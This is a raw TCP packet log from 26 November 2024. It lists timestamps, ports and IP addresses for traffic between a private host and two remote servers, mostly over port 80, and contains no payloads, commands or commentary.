Nov 26, 2024 22:52:23.386904001 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.387986898 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.388041019 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.388055086 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.388093948 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.389153004 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.389209986 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.389271975 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.389317036 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.390362978 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.390417099 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.390463114 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.390521049 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.391586065 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.391644001 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.391736031 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.391781092 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.392746925 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.392802000 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.392822981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.392863989 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.393934011 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.393990993 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.394041061 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.394088984 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.395139933 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.395216942 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.395217896 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.395256042 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.396338940 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.396393061 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.396420956 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.396460056 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.397543907 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.397599936 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.397654057 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.397701025 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.398772955 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.398825884 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.398833036 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.398864031 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.399935961 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.399990082 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.400022030 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.400089025 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.401125908 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.401180983 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.401221037 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.401266098 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.402354956 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.402407885 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.402452946 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.402498960 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.403522015 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.403570890 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.403687954 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.403732061 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.404736996 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.404783964 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.404802084 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.404858112 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.405952930 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.406008005 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.406059980 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.406104088 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.407141924 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.407191992 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.407243013 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.407286882 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.408371925 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.408389091 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.408423901 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.408448935 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.446485043 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.446607113 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.446614981 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.446664095 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.447047949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.447092056 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.447150946 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.447195053 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.448034048 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.448081017 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.448148012 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.448194027 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.449160099 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.449207067 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.449284077 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.449335098 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.450378895 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.450428009 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.450455904 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.450501919 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.451555014 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.451603889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.451709986 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.451757908 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.452809095 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.452858925 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.452919960 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.452965975 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.453964949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.454011917 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.454068899 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.454112053 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.455214024 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.455261946 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.455333948 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.455384970 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.456373930 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.456423998 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.456583977 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.456629038 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.457557917 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.457607985 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.457742929 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.457792997 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.458765030 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.458818913 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.458901882 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.458947897 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.460011959 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.460057974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.460180044 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.460242987 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.461133957 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.461191893 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.461244106 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.461289883 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.462337017 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.462387085 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.462415934 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.462460041 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.463541985 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.463588953 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.463649035 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.463695049 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.464752913 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.464845896 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.464865923 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.464893103 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.465975046 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.466026068 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.466336012 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.466382027 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.467143059 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.467189074 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.467717886 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.467763901 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.468343973 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.468386889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.468455076 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.468503952 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.469511986 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.469558954 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.491269112 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.491350889 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.491350889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.491394997 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.491555929 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.491604090 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.491672993 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.491728067 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.492785931 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.492832899 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.492862940 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.492908955 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.493958950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.494009972 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.494133949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.494180918 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.495204926 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.495255947 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.495284081 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.495331049 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.496360064 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.496409893 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.496468067 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.496512890 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.497556925 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.497606993 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.497641087 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.497685909 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.498688936 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.498737097 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.546605110 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.546678066 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.546730995 CET	49722	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.546904087 CET	49722	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.546920061 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.546931982 CET	49722	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.546938896 CET	443	49722	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.549869061 CET	49727	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.549920082 CET	443	49727	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.549998045 CET	49727	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.550137997 CET	49727	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:23.550158024 CET	443	49727	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:23.588046074 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.588124990 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.588138103 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.588165998 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.588629961 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.588676929 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.588788033 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.588856936 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.589818954 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.589864969 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.589926958 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.589968920 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.591012001 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.591058969 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.591114044 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.591252089 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.592235088 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.592279911 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.592344046 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.592389107 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.593463898 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.593513012 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.593575954 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.593621016 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.594614029 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.594657898 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.594737053 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.594780922 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.595799923 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.595846891 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.595916986 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.595961094 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.596997023 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.597042084 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.597111940 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.597157955 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.598249912 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.598320007 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.598470926 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.598516941 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.599421024 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.599488974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.599520922 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.599560976 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.600620985 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.600671053 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.600759029 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.600805044 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.601797104 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.601844072 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.601907015 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.601952076 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.603060007 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.603106976 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.603163004 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.603209019 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.604269981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.604319096 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.604398966 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.604444027 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.605417967 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.605463028 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.605588913 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.605632067 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.606618881 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.606674910 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.606740952 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.606790066 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.607800961 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.607846022 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.607968092 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.608011961 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.609002113 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.609052896 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.609110117 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.609152079 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.610208988 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.610250950 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.610367060 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.610405922 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.611398935 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.611447096 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.611512899 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.611561060 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.612595081 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.612644911 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.612714052 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.612760067 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.613780975 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.613831997 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.613894939 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.613941908 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.614995003 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.615067005 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.615155935 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.615205050 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.616189957 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.616240978 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.616275072 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.616323948 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.617384911 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.617432117 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.617468119 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.617513895 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.618608952 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.618658066 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.618711948 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.618757963 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.657038927 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.657121897 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.657146931 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.657170057 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.657588959 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.657644033 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.657702923 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.657740116 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.658768892 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.658819914 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.658885956 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.658936024 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.660005093 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.660051107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.660054922 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.660092115 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.661211014 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.661263943 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.661335945 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.661382914 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.662411928 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.662458897 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.662550926 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.662596941 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.663590908 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.663636923 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.663676023 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.663721085 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.664772987 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.664819956 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.664854050 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.664899111 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.665970087 CET	80	49712	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:23.666019917 CET	49712	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:23.666089058 CET	80	49712	185.215.113.206	192.168.2.7
